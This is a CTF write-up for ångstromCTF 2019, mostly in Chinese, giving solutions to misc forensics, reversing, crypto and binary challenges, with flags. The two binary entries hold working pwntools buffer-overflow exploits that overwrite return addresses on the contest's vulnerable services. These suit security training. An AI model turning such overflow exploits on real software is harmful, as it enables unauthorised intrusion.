[Writeup] ångstromCTF 2019

[Misc] The Mueller Report - 20pts

The redacted version of the Mueller report was finally released this week! There’s some pretty funny stuff in there, but maybe the report has more beneath the surface.

Author: SirIan

Show Hint You won't be able to use Ctrl+F to find this Russian secret, try some command line functions related to strings and searches instead.

Solution

strings full-mueller-report.pdf | grep "actf"

Flag actf{no0o0o0_col1l1l1luuuusiioooon}

[Misc] Blank Paper - 30pts

Someone scrubbed defund’s paper too hard, and a few of the bytes fell off.

Author: defund

Solution

題目提到 “a few of the bytes fell off” , xxd 一下 pdf 檔發現第一個 byte 是 0
而題目給的檔案是 pdf ,其 Magic Number 為 25 50 44 46
故只要將前幾個 byte 改成 25 50 44 46 即可正常開啟

Flag actf{knot_very_interesting}

[Misc] Paper Bin - 40pts

defund accidentally deleted all of his math papers! Help recover them from his computer’s raw data.

Author: defund

Show Hint File carving

Solution

binwalk 一下會發現裡面有很多東西
不過我們在意的是 pdf 檔
binwalk paper_bin.dat | grep PDF 會發現裡面有一個檔案的 version 是 1.5

為了將他 dd 出來,先觀察一下他的範圍 binwalk paper_bin.dat | grep -A 34 "1\.5"

接著就 dd 出來吧 dd if=paper_bin.dat of=extract.pdf skip=6082782 bs=1 count=303104
打開 extract.pdf 就可以看到 Flag 了

Flag actf{proof_by_triviality}

[Misc] Paper Trail - 50pts

Something is suspicious about defund’s math papers. See if you can find anything in the network packets we’ve intercepted from his computer.

Author: defund

Solution

題目給的 pcapng 檔中有 IRC 的對話內容
用 strings 可以發現 Flag 是一個字一個字發送出去的,包含 Flag 那行的格式長得像 PRIVMSG defund : ,冒號後面接的是 Flag
接著可以用 strings paper_trail.pcapng | grep -i "^.\{0,2\}PRIVMSG defund :.$" 把包含 Flag 的所有行弄出來後再一個一個字弄出來

或者可以再 pipe 一下,變成 strings paper_trail.pcapng | grep -i "^.\{0,2\}PRIVMSG defund :.$" | cut -d: -f2 | tr -d "\n"

Flag actf{fake_math_papers}

[Misc] Lithp - 60pts

My friend gave me this program but I couldn’t understand what he was saying - what was he trying to tell me?

Author: fireholder

Solution

題目給的檔案是一支 Lisp 的程式
稍微理解一下裡面的內容:

一共有 4 個 functions ,分別是 enc multh owo whats-this
這四個 function 在做的事是

1
2
3
4
5
6
7
8
9
10
11
12
def enc(plain):
flag = -owo(multh(plain))
print(flag)

def multh(n):
return -whats-this(n, n - 1)

def owo(n):
return the result after reordering by "reorder" list

def whats-this(x, y):
return x * y

從上面的程式可以寫出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import math

encrypted = map(int, "8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312".split())
reorder = map(int, "19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20".split())

order = ["" for _ in range(len(encrypted))]
for i in range(len(encrypted)):
order[reorder[i]] = encrypted[i]

flag = ""
for ch in order:
flag += chr(int(math.ceil(ch ** 0.5)))

print(flag)

Flag actf{help_me_I_have_a_lithp}

[Misc] Just Letters - 60pts

Hope you’ve learned the alphabet!

nc 54.159.113.26 19600

Author: derekthesnake

Solution

題目說 “The flag is at the start of memory.”

稍微閱讀一下題目給的連結可以知道
在 AlphaBeta 這個語言中有 5 個記憶體:

Register Name Usage
Register 1 可供使用者直接更改,儲存內容為一個整數
Register 2 同上
Register 3 儲存計算之結果,使用者不可直接更改
Looping 迴圈用
Memory Pointer 記憶體之指標,類似於 Brainfuck 的 > & <

在這題,我們有興趣的只有下面幾個指令: GC (or HD), L, S
其中, L 印出的是 register 3 中的字元

Alphabet Usage
C sets register 3 to the value of register 1
D sets register 3 to the value of register 2
G sets register 1 to the memory at the memory pointer
H sets register 2 to the memory at the memory pointer
L outputs a character to the screen
S adds 1 to the register

這題可以透過不斷地將記憶體中的值丟到 register 1
再透過 C 將 register 3 的值設為 register 1 的值 (因為 register 3 的值無法直接修改)
接下來印出 register 3 的值並將 memory pointer 右移
如此即可得到原本儲存在記憶體中的 Flag 了

python -c "print('HDLS' * 50)" | nc 54.159.113.26 19600
or
python -c "print('GCLS' * 50)" | nc 54.159.113.26 19600

Flag actf{esolangs_sure_are_fun!}

[Misc] Scratch It Out - 60pts

An oddly yellow cat handed me this message - what could it mean?

Author: innoviox

Show Hint Zipped with standard files.

Solution

Scratch It Out
An oddly yellow cat
應該就是 Scratch 了吧

Scratch Wiki 可以知道
Scratch 2.0 的 .sb2 檔其實是一個包含 project.json 的 zip 檔
也就是說我們只要把題目給的 project.json 壓成 zip 檔再將副檔名改成 .sb2 就是一個可被 Scratch 讀取的檔案了

照著上面的步驟來,再到 Scratch 的 Online Editor 上傳上述檔案
點綠旗執行即可得到 Flag

Flag actf{Th5_0pT1maL_LANgUaG3}

[Rev] I Like It - 40pts

Now I like dollars, I like diamonds, I like ints, I like strings. Make Cardi like it please.

/problems/2019/i_like_it

Author: SirIan

Show Hint Pop open a dissassembler or decompiler and check out the comparisons.

Solution

這題會詢問兩個問題
分別輸入一個字串跟兩個數字

用 IDA Pro Decompile 可以得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+18h] [rbp-38h]
unsigned int v5; // [rsp+1Ch] [rbp-34h]
char v6; // [rsp+20h] [rbp-30h]
char s[24]; // [rsp+30h] [rbp-20h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
puts("I like the string that I'm thinking of: ");
fgets(s, 20, _bss_start);
s[strlen(s) - 1] = 0;
if ( strcmp(s, "okrrrrrrr") )
{
puts("Cardi don't like that.");
exit(0);
}
puts("I said I like it like that!");
puts("I like two integers that I'm thinking of (space separated): ");
fgets(&v6, 12, _bss_start);
__isoc99_sscanf(&v6, "%d %d", &v4, &v5);
if ( v4 + v5 != 136 || v4 * v5 != 3783 || (signed int)v4 >= (signed int)v5 )
{
puts("Cardi don't like that.");
exit(0);
}
puts("I said I like it like that!");
printf("Flag: actf{%s_%d_%d}\n", s, v4, v5, argv);
return 0;
}

可以知道要輸入的字串為 okrrrrrrr
數字則是 39 97

Flag actf{okrrrrrrr_39_97}

[Rev] One Bite - 60pts

Whenever I have friends over, I love to brag about things that I can eat in a single bite. Can you give this program a tasty flag that fits the bill?

/problems/2019/one_bite

Author: SirIan

Show Hint What else can be done with a single bite?

Solution

Decompile 後的 Code 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+14h] [rbp-4Ch]
char s[40]; // [rsp+20h] [rbp-40h]
unsigned __int64 v6; // [rsp+48h] [rbp-18h]

v6 = __readfsqword(0x28u);
puts("Give me a flag to eat: ");
fgets(s, 34, stdin);
for ( i = 0; i < strlen(s); ++i )
s[i] ^= 0x3Cu;
if ( !strcmp(s, "]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA") )
puts("Yum, that was a tasty flag.");
else
puts("That didn't taste so good :(");
return 0;
}

這支程式是將輸入的每個字元 xor 0x3C 後再跟 ]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA 比對
也就是說我們只要將後來的字串逐個字元去跟 0x3C xor 之後即可得到原字串,也就是 Flag

1
2
3
4
5
6
7
s = "]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA"
flag = ""

for ch in s:
flag += chr(ord(ch) ^ 0x3C)

print(flag)

Flag actf{i_think_im_going_to_be_sick}

[Rev] High Quality Checks - 110pts

After two break-ins to his shell server, kmh got super paranoid about a third! He’s so paranoid that he abandoned the traditional password storage method and came up with this monstrosity! I reckon he used the flag as the password, can you find it?

Author: Aplet123

Solution

Decompile 一下可以知道
Flag 的長度為 33 ,並且要通過 check() 的檢查
check() 具體如下,其中 a1 為 Flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
bool check(char *a1)
{
return d((int *)a1 + 12)
&& v(*a1)
&& u(a1[16], a1[17])
&& !k(a1[5])
&& !k(a1[9])
&& w(a1 + 1)
&& b((long long)a1, 18)
&& b((long long)a1, 4)
&& z((long long)a1, 108)
&& s((long long)a1);
}

觀察每個函式後可以得出:

functions result
d(a1 + 12) flag[12..15] == “c710”
v(*a1) flag[0] == “a”
u(a1[16], a1[17]) flag[16..17] == “n5”
!k(a1[5]) flag[5] == “f”
!k(a1[9]) flag[9] == “f”
w(a1 + 1) flag[1..3] == “ctf”
b(a1, 18) flag[18] == “}”
b(a1, 4) flag[4] == “{“
z(a1, 108) flag[6..7] == flag[10..11] == “un”
s(a1) flag[8] == “_”

Flag actf{fun_func710n5}

[Crypto] Classy Cipher - 20pts

Every CTF starts off with a Caesar cipher, but we’re more classy.

Author: defund

Solution

很基本的 Caesar Cipher
暴力把所有可能試過一遍即可

1
2
3
4
5
6
7
8
9
10
target = ":<M?TLH8<A:KFBG@V"

def encrypt(d, s):
e = ''
for c in d:
e += chr((ord(c)+s) % 0xff)
return e

for i in range(0xff):
print(encrypt(target, i))

Flag actf{so_charming}

[Crypto] Really Secure Algorithm - 30pts

I found this flag somewhere when I was taking a walk, but it seems to have been encrypted with this Really Secure Algorithm!

Author: lamchcl

Show Hint Now that I think about it, that's probably not what RSA stands for...

Solution

題目已經提示得很明顯是 RSA 了
就直接上吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2, binascii

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)

n = pow(c, d, n)

print(binascii.unhexlify("%x" % n))

Flag actf{really_securent_algorithm}

[Crypto] Half and Half - 50pts

Mm, coffee. Best served with half and half!

Author: defund

Solution

題目給的 python 是將 Flag 拆成兩半再將前半與後半逐個字元 xor

從已知格式可以知道前半開頭是 actf{ 後半結尾是 }
其餘位置因為可能結果太多,所以根據題目內容猜一下前半有個 coffee
這樣前半就變成了 actf{coffeex 後半則是 xxxxxxxxxxx} (x 為未知字元)
如此即可從後來的字串回推原 Flag 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
target = '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'

f = "actf{coffeex"
s = "xxxxxxxxxxx}"

flag1 = ""
flag2 = ""

for _ in range(len(target)):
if f[_] != 'x':
flag1 += f[_]
flag2 += chr(ord(target[_]) ^ ord(f[_]))
else:
flag1 += chr(ord(target[_]) ^ ord(s[_]))
flag2 += s[_]

print(flag1 + flag2)

Flag actf{coffee_tastes_good}

[Crypto] Runes - 70pts

The year is 20XX. ångstromCTF only has pwn challenges, and the winner is solely determined by who can establish a socket connection first. In the data remnants of an ancient hard disk, we’ve recovered a string of letters and digits. The only clue is the etching on the disk’s surface: Paillier.

Author: defund

Solution

Google 一下後會發現有個系統叫 Paillier cryptosystem
根據 維基 寫的加/解密方法可以寫出下面的程式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import gmpy2, binascii

n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791

def gcd(a,b):
while b:
a, b = b, a%b
return a

def lcm(a, b):
return (a * b) // gcd(a, b)

def L(x):
global n
return (x - 1) / n

lmbda = lcm(p - 1, q - 1)
mu = gmpy2.invert(L(pow(g, lmbda, n**2)), n)

m = (L(pow(c, lmbda, n**2)) * mu) % n

print(binascii.unhexlify('%x' % m))

Flag actf{crypto_lives}

[Binary] Aquarium - 50pts

Here’s a nice little program that helps you manage your fish tank.

Run it on the shell server at /problems/2019/aquarium/ or connect with nc shell.actf.co 19305.

Author: kmh11

Show Hint What does the gets function do?

Solution

這題會問以下問題:

看一下 source code 會發現有一個呼叫 system() 的函式

1
2
3
void flag() {
system("/bin/cat flag.txt");
}

應該不難發現這題是用 Buffer Overflow 蓋掉 return address
用 gdb-peda 的 pattern_create 建立 pattern

gdb-peda$ pattern_create 200

接著在詢問到 Enter the name of your fish tank: 時輸入上面產生的 pattern
然後

gdb-peda$ x/wx $rsp
0x7fffffffe158: 0x41417041
gdb-peda$ pattern_offset 0x41417041
1094807617 found at offset: 152

得知 pattern length 是 152
如此即可寫出

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

HOST = "shell.actf.co"
PORT = 19305

r = remote(HOST, PORT)

payload = "1\n" * 6 + "A" * 152 + p32(0x4011b6)

r.sendline(payload)
r.interactive()

Flag actf{overflowed_more_than_just_a_fish_tank}

[Binary] Chain of Rope - 80pts

defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they’re super overpriced! He managed to get the source code. Can you get him a rope chain without paying?

/problems/2019/chain_of_rope/

nc shell.actf.co 19400

Author: Aplet123

Solution

這題可以用跟上一題一樣的做法直接蓋掉 return address
一樣先 pattern_create 200
接著

gdb-peda$ x/wx $rsp
0x7fffffffe1b8: 0x41416341
gdb-peda$ pattern_offset 0x41416341
1094804289 found at offset: 56

再來

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

HOST = "shell.actf.co"
PORT = 19400

r = remote(HOST, PORT)

payload = "1\n" + "A" * 56 + p64(0x401225)

r.sendline(payload)
r.interactive()

Flag actf{dark_web_bargains}